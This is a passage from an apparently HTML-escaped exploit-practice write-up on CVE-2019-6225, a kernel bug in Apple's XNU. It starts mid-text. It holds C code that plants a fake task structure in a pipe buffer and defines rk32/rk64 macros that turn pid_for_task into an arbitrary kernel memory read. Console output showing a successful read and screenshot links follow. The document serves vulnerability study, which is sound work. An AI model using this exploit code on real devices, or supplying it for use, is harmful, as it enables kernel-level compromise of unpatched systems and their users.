\ub41c\ub2e4.<\/p>\n INFO("starting kreads...\\n");\n\n \/* set up the fake task buf for use with the pid_for_task read primitive *\/\n int rfd = pipefds[2 * fakeport_pipe_index];\n read(rfd, pipebuf, pagesize);\n\n ktask_t *fake_task = (ktask_t *)((uint64_t)pipebuf + PIPEBUF_TASK_OFFSET);\n fake_task->ref_count = 0xff;\n \n int wfd = pipefds[2 * fakeport_pipe_index + 1];\n write(wfd, pipebuf, pagesize);\n\n #define off_task_bsd_info 0x380\n uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + off_task_bsd_info);\n\n #define off_proc_p_pid 0x60\n \n #define rk32(addr, value)\\\n do {\\\n int rfd = pipefds[2 * fakeport_pipe_index];\\\n read(rfd, pipebuf, pagesize);\\\n *read_addr_ptr = addr - off_proc_p_pid;\\\n int wfd = pipefds[2 * fakeport_pipe_index + 1];\\\n write(wfd, pipebuf, pagesize);\\\n pid_for_task(the_one, (int *)&value);\\\n } while (0)\n\n uint32_t read64_tmp;\n\n #define rk64(addr, value)\\\n do {\\\n rk32(addr + 0x4, read64_tmp);\\\n rk32(addr, value);\\\n value = value | ((uint64_t)read64_tmp << 32);\\\n } while (0)\n\n INFO("testing the first read...\\n");\n\n uint32_t first_read_val = 0x0;\n rk32(original_port_addr, first_read_val);\n INFO("first read val = 0x%x\\n", first_read_val);\n<\/code><\/pre>\n[*] starting kreads...\n[*] testing the first read...\n[*] first read val = 0x80000025\n<\/code><\/pre>\n
![\"Screenshot](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/Screenshot_2025-08-02_at_7.26.15_AM.png\")
<\/p>\n![\"Screenshot](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/Screenshot_2025-08-02_at_10.08.24_AM.png\")
<\/p>\n![\"Screenshot](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/Screenshot_2025-08-02_at_10.11.52_AM.png\")
<\/p>\n![\"Screenshot](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/Screenshot_2025-08-02_at_10.13.15_AM.png\")
<\/p>\n![\"image.png\"](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image.png\")
<\/p>\n<\/li>\n<\/ul>\n![\"image.png\"](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%201.png\")
<\/p>\n![\"image.png\"](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%202.png\")
<\/p>\n